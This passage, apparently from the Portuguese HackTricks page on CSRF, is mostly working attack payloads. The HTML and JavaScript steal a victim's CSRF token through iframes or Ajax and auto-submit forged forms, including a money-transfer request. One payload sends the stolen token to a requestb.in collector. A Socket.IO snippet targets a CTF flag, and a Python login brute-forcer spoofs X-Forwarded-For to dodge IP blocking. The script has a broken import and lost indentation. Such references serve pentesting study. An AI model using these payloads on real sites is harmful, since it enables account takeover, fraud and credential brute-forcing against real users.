3. Quando um usuário visita o site malicioso, o iframe invisível é carregado em segundo plano. Isso faz com que o navegador do usuário faça uma solicitação GET para o site alvo, o que resulta na obtenção do token CSRF válido.

4. Em seguida, o formulário malicioso é enviado automaticamente usando JavaScript. Isso faz com que o navegador do usuário envie uma solicitação POST para o URL vulnerável do site alvo, incluindo o token CSRF roubado.

```html
<script>
  document.forms[0].submit();
</script>
```

5. O servidor do site alvo recebe a solicitação POST e, como o token CSRF é válido, processa a solicitação como se fosse legítima. Isso pode levar a ações indesejadas, como alterar informações do usuário, fazer compras não autorizadas ou executar outras ações maliciosas.

Para se proteger contra esse tipo de ataque, os desenvolvedores devem implementar medidas de segurança, como a inclusão de tokens CSRF exclusivos em todas as solicitações POST e a validação desses tokens no servidor. Os usuários também devem estar cientes dos riscos de visitar sites não confiáveis e manter seus sistemas atualizados com as últimas correções de segurança.
```markup
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
```
### **Roubar token e enviá-lo usando 2 iframes**

Um ataque de falsificação de solicitação entre sites (CSRF) é um tipo de ataque em que um invasor engana um usuário autenticado para executar ações indesejadas em um aplicativo da web no qual o usuário está autenticado. Um método comum para realizar um ataque CSRF é roubar o token de autenticação de um usuário e enviá-lo para um servidor controlado pelo invasor.

Neste exemplo, vamos explorar uma técnica em que o invasor usa dois iframes para roubar o token de autenticação de um usuário e enviá-lo para seu próprio servidor.

1. O invasor cria uma página maliciosa que contém dois iframes invisíveis.
2. O primeiro iframe é carregado com a página de destino que contém a ação que o invasor deseja executar. Por exemplo, pode ser uma página que altera a senha do usuário.
3. O segundo iframe é carregado com uma página controlada pelo invasor que contém um script malicioso.
4. O script malicioso no segundo iframe obtém o token de autenticação do usuário da página de destino.
5. O script envia o token para o servidor controlado pelo invasor usando uma solicitação HTTP.

Com essa técnica, o invasor pode roubar o token de autenticação de um usuário e usá-lo para executar ações indesejadas em seu nome. É importante que os desenvolvedores implementem medidas de proteção, como tokens CSRF e verificação de referência, para mitigar esse tipo de ataque. Os usuários também devem estar cientes dos riscos e tomar precauções, como não clicar em links suspeitos ou abrir páginas não confiáveis.
```markup
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
### **POSTRoubar token CSRF com Ajax e enviar um post com um formulário**

Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando Ajax para obter o token CSRF de uma página e, em seguida, enviá-lo junto com uma solicitação POST falsificada.

Aqui está um exemplo de como realizar esse tipo de ataque:

```javascript
// Obter o token CSRF usando Ajax
var xhr = new XMLHttpRequest();
xhr.open('GET', '/get-csrf-token', true);
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    var csrfToken = xhr.responseText;

    // Enviar uma solicitação POST falsificada com o token CSRF
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = '/transfer-money';
    var input = document.createElement('input');
    input.type = 'hidden';
    input.name = 'csrfToken';
    input.value = csrfToken;
    form.appendChild(input);
    document.body.appendChild(form);
    form.submit();
  }
};
xhr.send();
```

Neste exemplo, o código JavaScript faz uma solicitação GET para obter o token CSRF de `/get-csrf-token`. Uma vez que o token é obtido com sucesso, ele é usado para criar um formulário HTML com um campo oculto contendo o token CSRF. Em seguida, o formulário é anexado ao corpo do documento e enviado automaticamente.

Ao visitar uma página maliciosa que contém esse código, o token CSRF do usuário será roubado e usado para enviar uma solicitação POST falsificada para `/transfer-money`. Isso pode resultar em uma transferência de dinheiro não autorizada ou em outras ações indesejadas.

Para se proteger contra ataques CSRF, é importante implementar medidas de segurança, como a inclusão de tokens CSRF em formulários e a validação desses tokens em todas as solicitações POST.
```markup
<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
```
### CSRF com Socket.IO

O Cross-Site Request Forgery (CSRF) é uma vulnerabilidade que permite que um atacante execute ações não autorizadas em nome de um usuário autenticado em um aplicativo da web. O Socket.IO é uma biblioteca JavaScript que permite a comunicação em tempo real entre o cliente e o servidor. Neste capítulo, discutiremos como o CSRF pode ser explorado em aplicativos que usam o Socket.IO.

#### Como o CSRF funciona com o Socket.IO?

O Socket.IO usa um mecanismo de autenticação baseado em cookies para estabelecer uma conexão persistente entre o cliente e o servidor. No entanto, o Socket.IO não protege contra ataques CSRF por padrão. Isso significa que um atacante pode explorar uma vulnerabilidade CSRF para executar ações maliciosas em nome de um usuário autenticado.

#### Explorando CSRF com Socket.IO

Para explorar o CSRF com o Socket.IO, um atacante precisa enganar o usuário autenticado para visitar um site malicioso que contém um código JavaScript malicioso. Esse código JavaScript pode ser usado para enviar solicitações falsificadas para o servidor Socket.IO, executando ações indesejadas em nome do usuário.

#### Prevenção de CSRF com Socket.IO

Para prevenir ataques CSRF com o Socket.IO, é importante implementar medidas de proteção adequadas. Algumas práticas recomendadas incluem:

- Usar tokens CSRF: Implementar um mecanismo de token CSRF para verificar a autenticidade das solicitações recebidas pelo servidor Socket.IO.
- Restringir origens permitidas: Configurar o servidor Socket.IO para aceitar solicitações apenas de origens confiáveis.
- Implementar cabeçalhos de solicitação personalizados: Adicionar cabeçalhos de solicitação personalizados ao Socket.IO para verificar a origem da solicitação.

Ao implementar essas práticas recomendadas, é possível reduzir significativamente o risco de ataques CSRF em aplicativos que usam o Socket.IO.
```markup
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>
```
## CSRF Login Brute Force

O código pode ser usado para realizar um ataque de força bruta em um formulário de login usando um token CSRF (Também está utilizando o cabeçalho X-Forwarded-For para tentar contornar um possível bloqueio de IP):
```python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Ferramentas <a href="#tools" id="tools"></a>

* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)

## Referências

* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)

​

<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

**HackenProof é o lar de todas as recompensas por bugs de criptografia.**

**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

**Torne-se uma lenda hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>